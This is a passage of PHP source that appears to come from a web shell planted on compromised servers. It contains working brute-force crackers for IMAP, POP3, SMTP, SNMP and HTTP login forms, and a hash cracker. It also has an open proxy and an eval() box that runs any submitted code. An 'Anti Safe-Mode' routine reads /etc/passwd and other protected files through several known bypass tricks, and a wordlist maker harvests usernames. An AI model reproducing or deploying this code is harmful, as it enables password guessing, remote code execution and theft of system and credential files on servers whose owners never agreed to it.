  777. function imaplogiN($host,$username,$password){
  778. $sock=fsockopen($host,143,$n,$s,5);
  779. $b=namE();
  780. $l=strlen($b);
  781. if(!$sock)return -1;
  782. fread($sock,1024);
  783. fputs($sock,"$b LOGIN $username $password\r\n");
  784. $res=fgets($sock,$l+4);
  785. if ($res == "$b OK")return 1;else return 0;
  786. fclose($sock);
  787. }
  788. function pop3logiN($server,$user,$pass){
  789. $sock=fsockopen($server,110,$en,$es,5);
  790. if(!$sock)return -1;
  791. fread($sock,1024);
  792. fwrite($sock,"user $user\n");
  793. $r=fgets($sock);
  794. if($r{0}=='-')return 0;
  795. fwrite($sock,"pass $pass\n");
  796. $r=fgets($sock);
  797. fclose($sock);
  798. if($r{0}=='+')return 1;
  799. return 0;
  800. }
  801. function imapcrackeR(){
  802. global $t,$et,$errorbox,$crack;
  803. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  804. $target=$_REQUEST['target'];
  805. $type=$_REQUEST['combo'];
  806. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  807. $dictionary=fopen($_REQUEST['dictionary'],'r');
  808. if ($dictionary){
  809. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  810. while(!feof($dictionary)){
  811. if($type){
  812. $combo=trim(fgets($dictionary)," \n\r");
  813. $user=substr($combo,0,strpos($combo,':'));
  814. $pass=substr($combo,strpos($combo,':')+1);
  815. }else{
  816. $pass=trim(fgets($dictionary)," \n\r");
  817. }
  818. $imap=imaplogiN($target,$user,$pass);
  819. if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
  820. if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}}
  821. flusheR();
  822. }
  823. echo "<br>Done</font>";
  824. fclose($dictionary);
  825. }
  826. else{
  827. echo "$errorbox Can not open dictionary.$et";
  828. }
  829. }else echo "<center>${t}IMAP cracker:$crack";
  830. }
  831. function snmpcrackeR(){
  832. global $t,$et,$errorbox,$crack,$hcwd;
  833. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  834. $target=$_REQUEST['target'];
  835. $dictionary=fopen($_REQUEST['dictionary'],'r');
  836. if ($dictionary){
  837. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  838. while(!feof($dictionary)){
  839. $com=trim(fgets($dictionary)," \n\r");
  840. $res=snmpchecK($target,$com,2);
  841. if($res)echo "$com<br>";
  842. flusheR();
  843. }
  844. echo "<br>Done</font>";
  845. fclose($dictionary);
  846. }
  847. else{
  848. echo "$errorbox Can not open dictionary.$et";
  849. }
  850. }else echo "<center>${t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
  851. }
  852. function pop3crackeR(){
  853. global $t,$et,$errorbox,$crack;
  854. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  855. $target=$_REQUEST['target'];
  856. $type=$_REQUEST['combo'];
  857. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  858. $dictionary=fopen($_REQUEST['dictionary'],'r');
  859. if ($dictionary){
  860. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  861. while(!feof($dictionary)){
  862. if($type){
  863. $combo=trim(fgets($dictionary)," \n\r");
  864. $user=substr($combo,0,strpos($combo,':'));
  865. $pass=substr($combo,strpos($combo,':')+1);
  866. }else{
  867. $pass=trim(fgets($dictionary)," \n\r");
  868. }
  869. $pop3=pop3logiN($target,$user,$pass);
  870. if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
  871. if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}}
  872. flusheR();
  873. }
  874. echo "<br>Done</font>";
  875. fclose($dictionary);
  876. }
  877. else{
  878. echo "$errorbox Can not open dictionary.$et";
  879. }
  880. }else echo "<center>${t}POP3 cracker:$crack";
  881. }
  882. function smtpcrackeR(){
  883. global $t,$et,$errorbox,$crack;
  884. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  885. $target=$_REQUEST['target'];
  886. $type=$_REQUEST['combo'];
  887. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  888. $dictionary=fopen($_REQUEST['dictionary'],'r');
  889. if ($dictionary){
  890. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  891. while(!feof($dictionary)){
  892. if($type){
  893. $combo=trim(fgets($dictionary)," \n\r");
  894. $user=substr($combo,0,strpos($combo,':'));
  895. $pass=substr($combo,strpos($combo,':')+1);
  896. }else{
  897. $pass=trim(fgets($dictionary)," \n\r");
  898. }
  899. $smtp=smtplogiN($target,$user,$pass,5);
  900. if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
  901. if ($smtp){echo "U: $user P: $pass<br>";if(!$type)break;}}
  902. flusheR();
  903. }
  904. echo "<br>Done</font>";
  905. fclose($dictionary);
  906. }
  907. else{
  908. echo "$errorbox Can not open dictionary.$et";
  909. }
  910. }else echo "<center>${t}SMTP cracker:$crack";
  911. }
  912. function formcrackeR(){
  913. global $errorbox,$footer,$et,$hcwd;
  914. if(!empty($_REQUEST['start'])){
  915. $url=$_REQUEST['target'];
  916. $uf=$_REQUEST['userf'];
  917. $pf=$_REQUEST['passf'];
  918. $sf=$_REQUEST['submitf'];
  919. $sv=$_REQUEST['submitv'];
  920. $method=$_REQUEST['method'];
  921. $fail=$_REQUEST['fail'];
  922. $dic=$_REQUEST['dictionary'];
  923. $type=$_REQUEST['combo'];
  924. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  925. if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
  926. $dictionary=fopen($dic,'r');
  927. echo "<font color=blue>Cracking started...<br>";
  928. while(!feof($dictionary)){
  929. if($type){
  930. $combo=trim(fgets($dictionary)," \n\r");
  931. $user=substr($combo,0,strpos($combo,':'));
  932. $pass=substr($combo,strpos($combo,':')+1);
  933. }else{
  934. $pass=trim(fgets($dictionary)," \n\r");
  935. }
  936. $url.="?$uf=$user&$pf=$pass&$sf=$sv";
  937. $res=check_urL($url,$method,$fail,12);
  938. if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;}
  939. flusheR();
  940. }
  941. fclose($dictionary);
  942. echo "Done!</font><br>";
  943. }
  944. else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>";
  945. }
  946. function hashcrackeR(){
  947. global $errorbox,$t,$et,$hcwd;
  948. if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  949. $dictionary=fopen($_REQUEST['dictionary'],'r');
  950. if ($dictionary){
  951. $hash=strtoupper($_REQUEST['hash']);
  952. echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR();
  953. $type=($_REQUEST['type']=='MD5')?'md5':'sha1';
  954. while(!feof($dictionary)){
  955. $word=trim(fgets($dictionary)," \n\r");
  956. if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;}
  957. }
  958. echo "Done!</font>";
  959. fclose($dictionary);
  960. }
  961. else{
  962. echo "$errorbox Can not open dictionary.$et";
  963. }
  964. }
  965. echo "<center>${t}Hash cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  966. }
  967. function pr0xy(){
  968. global $errorbox,$et,$footer,$hcwd;
  969. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>";
  970. if (!empty($_REQUEST['urL'])){
  971. $dir="";
  972. $u=parse_url($_REQUEST['urL']);
  973. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  974. if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
  975. $url=@fsockopen($host, 80, $errno, $errstr, 12);
  976. if(!$url)die("<br>$errorbox Can not connect to host!$et$footer");
  977. fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  978. while(!feof($url)){
  979. $con = fgets($url);
  980. $con = str_replace("href=mailto","HrEf=mailto",$con);
  981. $con = str_replace("HREF=mailto","HrEf=mailto",$con);
  982. $con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
  983. $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
  984. $con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
  985. $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
  986. $con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  987. $con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  988. $con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  989. $con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  990. $con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
  991. $con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
  992. $con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  993. $con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  994. $con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  995. $con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  996. $con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  997. $con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  998. echo $con;
  999. }
  1000. fclose($url);
  1001. }
  1002. }
  1003. function mysqlclienT(){
  1004. global $t,$errorbox,$et,$hcwd;
  1005. if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
  1006. $server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
  1007. if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB'];
  1008. $link = @mysql_connect($server,$user,$pass);
  1009. if($link){
  1010. if (!empty($db))mysql_select_db($db);
  1011. $result=mysql_query($query,$link);
  1012. echo "${t}Query result(s):$et";
  1013. echo "<font color=blue><pre>";
  1014. while($data=mysql_fetch_row($result)){
  1015. foreach($data as $v) {
  1016. echo $v;
  1017. echo "\t";
  1018. }
  1019. echo "\n";
  1020. }
  1021. echo "</pre></font>";
  1022. mysql_close($link);
  1023. }
  1024. else{
  1025. echo "$errorbox Login failed!$et<br>";
  1026. }
  1027. }
  1028. echo "<center>${t}MySQL cilent:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "localhost:3306"; echo "\" name=serveR size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Username:</td><td bgcolor=\"#808080\"><input type=text name=useR value=\"";if (!empty($_REQUEST['user'])) echo htmlspecialchars($_REQUEST['user']);else echo "root"; echo "\" size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Password:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['pass'])) echo htmlspecialchars($_REQUEST['pass']);else echo "123456"; echo "\" name=pasS size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Database:</td><td bgcolor=\"#808080\"><input type=text value=\"";if (!empty($_REQUEST['db'])) echo htmlspecialchars($_REQUEST['db']); echo "\" name=dB size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Query:</td><td bgcolor=\"#666666\"><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['query'])) echo htmlspecialchars(($_REQUEST['query']));else echo "SHOW DATABASES"; echo "</textarea></td></tr></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Submit Query\"></td></tr></form></table></center>";
  1029. }
  1030. function phpevaL(){
  1031. global $t,$hcwd;
  1032. if (!empty($_REQUEST['code'])){
  1033. echo "<center><textarea rows=\"10\" cols=\"64\">";
  1034. $code = str_replace("<?php","",$_REQUEST['code']);
  1035. $code = str_replace("<?","",$code);
  1036. $code = str_replace("?>","",$code);
  1037. htmlspecialchars(eval($code));
  1038. echo "</textarea></center><br>";
  1039. }
  1040. echo "<center>${t}Evaler:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Codes:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"code\" cols=\"64\">";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></center>";
  1041. }
  1042. function whoiS(){
  1043. global $t,$hcwd;
  1044. if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
  1045. $server =$_REQUEST['server'];
  1046. $domain=$_REQUEST['domain']."\r\n";
  1047. $ser=fsockopen($server,43,$en,$es,5);
  1048. fputs($ser,$domain);
  1049. echo "<pre>";
  1050. while(!feof($ser))echo fgets($ser);
  1051. echo "</pre>";
  1052. fclose($ser);
  1053. }
  1054. else{
  1055. echo "<center>${t}Whois:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>";
  1056. }
  1057. }
  1058. function hexvieW(){
  1059. if (!empty($_REQUEST['filE'])){
  1060. $f = $_REQUEST['filE'];
  1061. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\" bgcolor=\"#282828\">Offset</td><td width=\"25%\" bgcolor=\"#282828\">Hex</td><td width=\"25%\" bgcolor=\"#282828\"></td><td width=\"40%\" bgcolor=\"#282828\">ASCII</td></tr>";
  1062. $file = fopen($f,"r");
  1063. $i= -1;
  1064. while (!feof($file)) {
  1065. $ln='';
  1066. $i++;
  1067. echo "<tr><td width=\"10%\" bgcolor=\"#";
  1068. if ($i % 2==0) echo "666666";else echo "808080";
  1069. echo "\">";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo "</td>";
  1070. echo "<td width=\"25%\" bgcolor=\"#";
  1071. if ($i % 2==0) echo "666666";else echo "808080";
  1072. echo "\">";
  1073. for ($j=0;$j<=7;$j++){
  1074. if (!feof($file)){
  1075. $tmp = strtoupper(dechex(ord(fgetc($file))));
  1076. if (strlen($tmp)==1) $tmp = "0".$tmp;
  1077. echo $tmp." ";
  1078. $ln.=$tmp;
  1079. }
  1080. }
  1081. echo "</td><td width=\"25%\" bgcolor=\"#";
  1082. if ($i % 2==0) echo "666666";else echo "808080";
  1083. echo "\">";
  1084. for ($j=7;$j<=14;$j++){
  1085. if (!feof($file)){
  1086. $tmp = strtoupper(dechex(ord(fgetc($file))));
  1087. if (strlen($tmp)==1) $tmp = "0".$tmp;
  1088. echo $tmp." ";
  1089. $ln.=$tmp;
  1090. }
  1091. }
  1092. echo "</td><td width=\"40%\" bgcolor=\"#";
  1093. if ($i % 2==0) echo "666666";else echo "808080";
  1094. echo "\">";
  1095. $n=0;$asc="";$co=0;
  1096. for ($k=0;$k<=16;$k++){
  1097. $co=hexdec(substr($ln,$n,2));
  1098. if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  1099. $asc.= chr($co);
  1100. $n+=2;
  1101. }
  1102. echo htmlspecialchars($asc);
  1103. echo "</td></tr>";
  1104. }
  1105. }
  1106. fclose($file);
  1107. echo "</table>";
  1108. }
  1109. function safemodE(){
  1110. global $windows,$t,$hcwd;
  1111. if (!empty($_REQUEST['file'])){
  1112. $i=1;
  1113. echo "<pre>\n<font color=green>Method $i:(ini_restore)</font><font color=blue>\n";
  1114. ini_restore("safe_mode");ini_restore("open_basedir");
  1115. $tmp = file_get_contents($_REQUEST['file']);
  1116. echo $tmp;
  1117. $i++;
  1118. echo "\n</font><font color=green>Method $i:(copy)</font><font color=blue>\n";
  1119. $tmp=tempnam("","cx");
  1120. copy("compress.zlib://".$_REQUEST['file'], $tmp);
  1121. $fh = fopen($tmp, "r");
  1122. $data = fread($fh, filesize($tmp));
  1123. fclose($fh);
  1124. echo $data;
  1125. $i++;
  1126. if(function_exists("curl_init")){
  1127. echo "\n</font><font color=green>Method $i:(curl_init)[A]</font><font color=blue>\n";
  1128. $fh = @curl_init("file://".$_REQUEST['file']."");
  1129. $tmp = @curl_exec($fh);
  1130. echo $tmp;
  1131. $i++;
  1132. echo "\n</font><font color=green>Method $i:(curl_init)[B]</font><font color=blue>\n";
  1133. $i++;
  1134. if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
  1135. $ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
  1136. else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
  1137. curl_exec($ch);
  1138. var_dump(curl_exec($ch));
  1139. }
  1140. if($_REQUEST['file'] == "/etc/passwd"){
  1141. echo "\n</font><font color=green>Method $i:(posix)</font><font color=blue>\n";
  1142. for($uid=0;$uid<99999;$uid++){
  1143. $h=posix_getpwuid($uid);
  1144. if (!empty($h))foreach($h as $v)echo "$v:";}}
  1145. $i++;
  1146. echo "</pre></font>";
  1147. }
  1148. echo "<center>${t}Anti Safe-Mode:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">File:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Read\"></td></tr></form></table></center>";
  1149. }
  1150. function crackeR(){
  1151. global $et;
  1152. $cwd = getcwd();
  1153. echo "<center><table border=0 bgcolor=#333333><tr><td><a href=\"".hlinK("seC=hc&workingdiR=$cwd")."\">[Hash]</a> - <a href=\"".hlinK("seC=smtp&workingdiR=$cwd")."\">[SMTP]</a> - <a href=\"".hlinK("seC=pop3&workingdiR=$cwd")."\">[POP3]</a> - <a href=\"".hlinK("seC=imap&workingdiR=$cwd")."\">[IMAP]</a> - <a href=\"".hlinK("seC=ftp&workingdiR=$cwd")."\">[FTP]</a> - <a href=\"".hlinK("seC=snmp&workingdiR=$cwd")."\">[SNMP]</a> - <a href=\"".hlinK("seC=sql&workingdiR=$cwd")."\">[MySQL]</a> - <a href=\"".hlinK("seC=fcr&workingdiR=$cwd")."\">[HTTP form]</a> - <a href=\"".hlinK("seC=auth&workingdiR=$cwd")."\">[HTTP Auth(basic)]</a> - <a href=\"".hlinK("seC=dic&workingdiR=$cwd")."\">[Dictionary maker]</a>$et</center>";
  1154. }
  1155. function dicmakeR(){
  1156. global $errorbox,$windows,$footer,$t,$et,$hcwd;
  1157. if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
  1158. if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  1159. $min = $_REQUEST['min'];
  1160. $max = $_REQUEST['max'];
  1161. if($max<$min)die($errorbox ."Bad input!$et". $footer);
  1162. $s =$w="";
  1163. $out = $_REQUEST['output'];
  1164. $r = ($_REQUEST['range']=='a' )?'a':'A';
  1165. if ($_REQUEST['range']==0) $r=0;
  1166. for($i=0;$i<$min;$i++) $s.=$r;
  1167. $dic = fopen($out,'a');
  1168. if(is_nan($r)){
  1169. while(strlen($s)<=$max){
  1170. $w = $s;
  1171. if($combo)$w="$w:$w";
  1172. fwrite($dic,$w."\n");
  1173. $s++;}
  1174. }
  1175. else{
  1176. while(strlen($w)<=$max){
  1177. $w =(string)str_repeat("0",($min - strlen($s))).$s;
  1178. if($combo)$w="$w:$w";
  1179. fwrite($dic,$w."\n");
  1180. $s++;}
  1181. }
  1182. fclose($dic);
  1183. echo "<font color=blue>Done</font>";
  1184. }
  1185. if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  1186. $input=fopen($_REQUEST['input'],'r');
  1187. if (!$input){
  1188. if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  1189. else{
  1190. $input=explode("\n",shelL("cat $input"));
  1191. $output=fopen($_REQUEST['output'],'w');
  1192. if ($output){
  1193. foreach ($input as $in){
  1194. $user = $in;
  1195. $user = trim(fgets($in)," \n\r");
  1196. if (!strstr($user,":"))continue;
  1197. $user=substr($user,0,(strpos($user,':')));
  1198. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  1199. }
  1200. fclose($input);fclose($output);
  1201. echo "<font color=blue>Done</font>";
  1202. }
  1203. }
  1204. }
  1205. else{
  1206. $output=fopen($_REQUEST['output'],'w');
  1207. if ($output){
  1208. while (!feof($input)){
  1209. $user = trim(fgets($input)," \n\r");
  1210. if (!strstr($user,":"))continue;
  1211. $user=substr($user,0,(strpos($user,':')));
  1212. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  1213. }
  1214. fclose($input);fclose($output);
  1215. echo "<font color=blue>Done</font>";
  1216. }
  1217. else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  1218. }
  1219. }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  1220. $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
  1221. if($combo && $res){
  1222. $file=file($_REQUEST['output']);
  1223. $output=fopen($_REQUEST['output'],'w');
  1224. foreach ($file as $v)fwrite($output,"$v:$v\n");
  1225. fclose($output);
  1226. }
  1227. echo "<font color=blue>Done</font>";
  1228. }else{
  1229. $temp=whereistmP();
  1230. echo "<center>${t}Wordlist generator:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Range:</td><td bgcolor=\"#666666\"><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td><td bgcolor=\"#808080\"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td><td bgcolor=\"#666666\"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table><br>${t}Grab dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td><td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form></table><br>${t}Download dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table></center>";}
  1231. }
  1232. function calC(){
  1233. global $t,$et,$hcwd;
  1234. $fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
  1235. if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  1236. echo "<center>${t}Output:<br><textarea rows=\"10\" cols=\"64\">";
  1237. if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i})));
  1238. echo "</textarea>$et</center><br>";
  1239. }
